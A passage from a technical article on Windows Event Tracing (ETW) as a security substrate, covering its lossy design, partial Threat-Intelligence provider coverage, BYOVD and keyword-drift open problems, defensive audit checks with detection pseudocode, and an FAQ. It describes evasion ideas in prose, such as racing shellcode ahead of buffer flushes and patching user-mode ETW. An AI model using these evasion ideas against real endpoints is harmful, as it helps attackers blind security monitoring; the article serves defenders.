The Global Logger session is one of the earliest things to come up at boot, but it is not the first. Some early-init driver paths run before any ETW session exists; they cannot be traced via ETW. Measured Boot is the discipline that records this prefix into TPM PCRs, with attestation handled by the platform integrity layer rather than by ETW. The implication for EDR is that any malicious code executing during early boot, before the Global Logger session is up, is invisible to ETW.

Incomplete EtwTi syscall coverage

The 10 KERNEL_THREATINT_TASK_* task IDs are the public surface. The underlying syscall set the kernel actually instruments is not exhaustively documented. The fluxsec.red inventory [@fluxsec-eti] [@fluxsec-eti] is the public surface, not the private one. Some syscalls are clearly covered (NtAllocateVirtualMemory for cross-process allocation surfaces as KERNEL_THREATINT_TASK_ALLOCVM); some have partial coverage (MAPVIEW_LOCAL and MAPVIEW_REMOTE keywords cover some but not all of the section-mapping primitive set across NtCreateSection, NtMapViewOfSection, NtMapViewOfSectionEx, image-section vs file-section variants); some are not enumerated at all in the public manifest. Process-hollowing primitives that combine NtUnmapViewOfSection and NtMapViewOfSection may be partially covered depending on which path the attacker takes.

The async-flush gap

ETW's per-CPU ring buffer is asynchronous. If a process allocates RWX memory, writes shellcode, executes it, and returns within one writer-thread flush interval, the event is recorded but the attacker's payload has already executed. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. The Microsoft Learn primary on About Event Tracing [@ms-about-etw] [@ms-about-etw] is explicit that events can be lost:

"Events can be lost if any of the following conditions occur ... The total event size is greater than 64K ... The disk is too slow to keep up with the rate at which events are being generated. ... For real-time logging, the real-time consumer is not consuming events fast enough." -- [@ms-about-etw]

No ETW-only EDR can prevent a syscall whose payload completes inside one writer flush. EDRs that ship a kernel driver and register synchronous callbacks (CrowdStrike, SentinelOne, Sysmon, Elastic Defend) can deny operations through the PsSetCreateProcessNotifyRoutineEx [@ms-pssetprocnotify] [@ms-pssetprocnotify] CreationStatus field; ETW-only EDRs cannot. ETW is observation, not enforcement.

Key idea: ETW is observation, not enforcement. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. Sub-microsecond payloads execute before the writer thread flushes; the layered defense stack of 2026 is an empirical bar, not a theoretical guarantee.

The VBS-backed code-integrity enforcement for kernel-mode code on Windows. With HVCI enabled, the hypervisor enforces that only signed kernel pages can execute. Closes the attack class that loads unsigned drivers; combined with the Vulnerable Driver Blocklist it closes most of the realistic BYOVD primitive surface as well.

The "events can be lost" enumeration in [@ms-about-etw] is the dispositive Microsoft acknowledgement of ETW's lossy substrate. SOC playbooks should treat ETW telemetry as best-effort, not as a guaranteed audit trail. Forensic claims that depend on completeness need an independent corroborating source.

Note: A detection-only EDR can alert on a malicious operation, but only after the operation has happened. By the time the SOC sees the alert, the syscall has completed, the shellcode has executed, the credentials have been stolen. This is why the kernel-callback path (with its ability to deny via CreationStatus) coexists with ETW even though ETW is more flexible: a SOC playbook needs both the speed of denial and the breadth of observation.

The 2026 layered stack -- Antimalware-PPL + EtwTi + HVCI + VBL -- raises the empirical bar enormously. It does not close the architectural gap. Sub-microsecond payloads still execute before the writer thread flushes. The BYOVD primitive on a non-HVCI box still defeats the kernel-callback layer. There are still problems the substrate cannot solve in principle.

Those are the limits we can describe. The next section is about the limits we cannot yet measure.

13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race

The 2026 state of the art has five active open problems. Each has a partial workaround; none has a complete solution.

1. EtwTi keyword inventory drift across builds

Microsoft has not published a complete, current Microsoft-Windows-Threat-Intelligence keyword inventory. The community-maintained references -- the jdu2600 cross-build inventory [@gh-jdu2600] [@gh-jdu2600] and the repnz manifest archive [@gh-repnz] [@gh-repnz] -- are partial coverage and lag Microsoft's quarterly servicing cadence. EDR vendors that hard-code keyword bitmasks against an old build can silently miss events on newer builds because the keyword definitions have shifted underneath them. Detection engineers writing rules against KERNEL_THREATINT_TASK_* IDs that move between builds can get false negatives.

There are three plausible reasons, and Microsoft has not stated which (or which combination) is operative. *Operational secrecy*: a complete keyword inventory tells attackers exactly which syscall paths are observed and which are not, narrowing the search for evasion paths. *Documentation cost*: the inventory shifts every build, and maintaining a synchronised public reference is engineering work without an obvious internal champion. *Deliberate moving target*: keeping the public surface incomplete forces attackers to reverse-engineer per build, raising the cost of stable evasion. The community references partially defeat all three rationales; the absence remains.

2. Secure ETW (the `EtwSi*` family)

Windows VBS Trustlets run in the Secure Kernel (VTL1), insulated from the normal-world kernel (VTL0) by the hypervisor. The Secure Kernel exposes its own ETW family for VTL1 components; this is enumerated in fragments in Alex Ionescu's BlackHat 2015 deck on the Secure Kernel and in subsequent BlueHatIL talks. There is no public consumer-facing primary on EtwSi* in 2026. Cross-link: this article's companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] covers the producer side of the story.

3. Forensic soundness of ETW telemetry

ETW is lossy by design (per the [@ms-about-etw] enumeration). Whether ETW-derived telemetry is forensically sound -- chain-of-custody complete, lossless under load, attestable as untampered between event emission and SIEM ingestion -- is an open question. Courts have not ruled. The current best partial result is to treat ETW as supporting evidence and require independent corroboration (file-system snapshots, network captures, OS state captures) for any claim that depends on completeness. Sysmon's Event ID 16 (Sysmon configuration changed) [@ms-sysmon] and the autologger registry write events on HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ are useful integrity signals: an attacker who silenced ETW typically leaves a footprint here.

4. The BYOVD arms race

The Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb] is hash-based and updated quarterly. The LOLDrivers project [@loldrivers] [@loldrivers] documents the public catalogue of known-vulnerable signed drivers. The gap between disclosure and blocklist update--as short as ~1 month via Patch Tuesday or up to a full quarter--is the residual exploitation window. The deeper structural issue is that the blocklist is hash-based; an attacker who finds a new vulnerability in a previously-trusted signed driver enjoys a fresh window every quarter. Closing this gap requires either a different trust model (allow-listing of known-good drivers, as Smart App Control does for executables) or behavioural detection of suspicious driver loads. Both are active areas of work.

5. Cross-process section-mapping coverage

EtwTi's KERNEL_THREATINT_TASK_MAPVIEW covers some but not all section-mapping primitives. The public fluxsec.red [@fluxsec-eti] inventory lists MAPVIEW_LOCAL and MAPVIEW_REMOTE keywords, but the underlying syscall set (NtMapViewOfSection, NtMapViewOfSectionEx, NtCreateSection, image-section vs file-section variants) is not exhaustively documented. Detection engineers who depend on full coverage of cross-process section mapping are working from an incomplete map.

What would a v2 ETW look like?

A theoretical ideal: synchronous kernel-emitted events on every security-relevant syscall, with the consumer running in VTL1 (Secure Kernel) so even a kernel-mode attacker in VTL0 cannot tamper with the consumer. The EtwSi* family is the partial realisation. The full ideal is incompatible with x64 syscall performance: synchronous notification on every syscall would dominate the cost of the syscall itself. The pragmatic answer Microsoft has been building toward is selective synchronous notification (the kernel notify routines for high-value control points) layered with broad asynchronous observation (ETW for everything else), with the most security-critical of the broad observations promoted to PPL/ELAM-gated kernel-emitted producers (EtwTi). Two decades of layering, no single architectural endpoint.For the producer side of the Secure Kernel ETW story (EtwSi*), see this article's companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] in the same series. The Trustlet-side architecture is a separate topic large enough to need its own walkthrough.

Open problems are interesting but they are not actionable. The next section is about what an engineer can do on Monday morning.

14. Practical guide: five things to do Monday morning

You have read 12,000 words about ETW. Here are five concrete checks an engineer can run on a Windows host this morning.

Note: logman query providers enumerates every registered provider on the host. Cross-reference the output against the section 8 catalogue and flag any security-relevant provider your EDR is not consuming. Pay specific attention to Microsoft-Antimalware-Scan-Interface, Microsoft-Windows-PowerShell, Microsoft-Windows-DotNETRuntime, and Microsoft-Windows-Sysmon if Sysmon is installed. Missing coverage of any of these on a host you are responsible for is a detection-coverage gap, not a configuration issue.

Note: Run wevtutil gp Microsoft-Windows-Threat-Intelligence to confirm the provider is registered and inspect its keyword definitions. Then check whether your EDR is actually a consumer: walk the live-debugger handle enumeration in Yarden Shafir's Trail of Bits post [@trailofbits-shafir] [@trailofbits-shafir] (the WinDbg JS scripts are linked from the post). If your EDR is supposed to be ELAM-onboarded but does not appear in the consumer enumeration for an EtwTi logger session, your installation may have lost the gate. This is the difference between a configured EDR and a functional EDR.

Note: Enumerate HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ for unauthorised session entries. Per the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback], this is the persistent-tampering surface. A baseline audit should produce a known list of expected sessions (Defender, your EDR, Sysmon if installed, the standard Windows diagnostic listeners). Any subkey not on the baseline list is an investigation candidate. Sysmon Event ID 13 (registry value set) [@ms-sysmon] on this subtree is a high-signal alert in any SIEM.

Note: Run Get-CimInstance Win32_DeviceGuard | Select-Object SecurityServicesConfigured, SecurityServicesRunning, VirtualizationBasedSecurityStatus to expose whether HVCI and the Vulnerable Driver Blocklist are active. Per the Microsoft Learn primary [@ms-vdb] [@ms-vdb], the BYOVD ceiling is your kernel-tampering integrity guarantee. If VBS is Off on a managed endpoint, your detection coverage is structurally weaker than it should be on supported hardware. Treat it as a hardening item, not a nice-to-have.

Note: Write a hunting query for the pattern: "process X registers as ETW consumer for Microsoft-Windows-Threat-Intelligence and X is not on the EDR allow-list." The provider's PPL+ELAM gate makes this a high-signal alert: only a signed Antimalware-PPL service can pass the gate, so an unexpected process holding an EtwConsumer handle to the TI logger ID is either a misconfigured tool, a legitimate research session you forgot about, or an attacker chain that has acquired Antimalware-PPL trust on your fleet. The first two are quick to triage; the third is an incident.

The structure of the check in pseudocode -- mirroring the WinDbg JS approach in [@trailofbits-shafir]:

{` // Pseudocode: inventory providers and identify EtwTi consumers.

// 1. Enumerate registered providers and find Microsoft-Windows-Threat-Intelligence. const providers = enumerateRegisteredProviders(); const tiProvider = providers.find(p => p.guid === "{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}"); if (!tiProvider) { warn("EtwTi provider not registered on this host"); }

// 2. Enumerate live trace sessions and find any that subscribe to TI. const sessions = enumerateLoggerSessions(); // logman query -ets equivalent const tiSessions = sessions.filter(s => s.providers.some(p => p.guid === tiProvider?.guid));

// 3. Walk EtwConsumer handles for each TI session; identify the consuming processes. const expectedConsumers = ["MsMpEng.exe", "CSFalconService.exe", "SentinelAgent.exe"]; for (const session of tiSessions) { const consumers = enumerateEtwConsumers(session.loggerId); // Shafir WinDbg JS for (const consumer of consumers) { if (!expectedConsumers.includes(consumer.processName)) { alert(`Unexpected EtwTi consumer: ${consumer.processName} (PID ${consumer.pid})`); } } }

// 4. Audit autologger persistence entries against a known baseline. const baseline = loadAutologgerBaseline(); const live = enumerateAutologgerSubkeys(); // HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger for (const entry of live) { if (!baseline.includes(entry.name)) { alert(`Unexpected autologger entry: ${entry.name}`); } } `}

With those five checks, the catalogue is no longer an abstraction. You have an inventory of what your host emits, an inventory of who consumes the most security-critical provider, an audit of the persistence surface that defines what gets emitted at all, a confirmation of the integrity layer that closes BYOVD, and a hunt for anyone who has somehow obtained the passport. Now we close with the questions every reader should expect to have.

15. Frequently asked questions

Yes, for *publication*. Sysmon's kernel driver `SysmonDrv.sys` registers `PsSetCreateProcessNotifyRoutineEx` and the related thread- and image-load callbacks; the user-mode service then publishes the resulting events via its own `Microsoft-Windows-Sysmon` ETW provider GUID `{5770385F-C22A-43E0-BF4C-06F5698FFBD9}` [@ms-sysmon]. It does not consume the public catalogue providers via ETW for its kernel-event hot path; the kernel taps come straight from the callback API. This callback-then-publish architecture is why Sysmon's events are universally consumable by SIEM forwarders and downstream tools. Because Defender consumes `Microsoft-Windows-Threat-Intelligence`, which fires from the kernel side of memory-modifying syscalls, not from the user-mode `ntdll!EtwEventWrite` trampoline. The fluxsec.red walkthrough states the asymmetry verbatim: "we cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself" [@fluxsec-eti]. The Adam Chester 2020 patch silences user-mode providers (like `Microsoft-Windows-DotNETRuntime`) for the patched process; it cannot silence kernel-emitted providers for any process. Defender's load-bearing security signal is structurally out of reach of the user-mode patch class. No. The provider's security descriptor admits only Antimalware-PPL signers loaded by an ELAM driver. A non-PPL `EnableTraceEx2` call against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the Microsoft Learn primary on EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] documents the error code for insufficient-privilege callers; the PPL-specific gate that triggers it for EtwTi is described in [@fluxsec-eti]). The gate exists because an attacker who could trivially become an EtwTi consumer would have direct visibility into the kernel's view of every memory-modifying syscall on the host -- exactly the inventory needed to evade everything else. Schema location. Manifest-based providers ship an out-of-band XML manifest registered with `wevtutil im`; consumers decode events against the system-installed manifest using TDH. TraceLogging providers carry the schema *inline* in each event payload as type-length-value triples; consumers decode without any registered manifest. TraceLogging events are larger because the schema bytes ride in the payload; manifest events have a smaller per-event size at the cost of installation friction. Both inherit the eight-session cap [@ms-about-etw], [@ms-tracelogging-about]. Sixty-four globally per [@ms-etw-sessions], with Windows 2000 limited to 32. Per-provider, manifest-based and TraceLogging providers admit up to 8 simultaneous sessions; classic and WPP providers admit only 1 [@ms-about-etw], [@ms-etw-config]. The runtime symptom of the per-provider 8-session cap binding is `ERROR_NO_SYSTEM_RESOURCES` from `EnableTraceEx2` [@ms-enabletraceex2]; the runtime symptom of the global 64-session cap binding is the same error from `StartTrace`. No. EventPipe is a managed-runtime cross-platform analogue to ETW that shipped in .NET Core 3.0 (September 2019) and remains available in every later release including .NET 5+. It runs on Linux and macOS as well as Windows. On Windows, the kernel-mode providers and the EtwTi security substrate have no EventPipe equivalent; EventPipe is a complement to ETW for managed workloads, not a replacement. The Windows EDR substrate remains ETW; managed-runtime tracing has acquired an additional cross-platform path that does not displace it.

ETW is now twenty-six years old. It started as a performance facility for Windows 2000 driver authors who could not afford DbgPrint on production servers, and it became the substrate of every major Windows endpoint security product through a decade of unintended consequences. The Vista team that raised the per-provider session cap from 1 to 8 was thinking about ergonomics. The Windows 8.1 team that introduced Antimalware-PPL was thinking about Defender's hardening, not about future third-party EDRs. The team that shipped EtwTi in the Windows 10 RS-era understood the security stakes precisely. By 2026 those three decisions, taken in three different Microsoft contexts a decade apart, are the architecture of detection on the Windows endpoint -- and the reason the operator in the section 1 hook scene loses the round even when the patch works exactly as it should.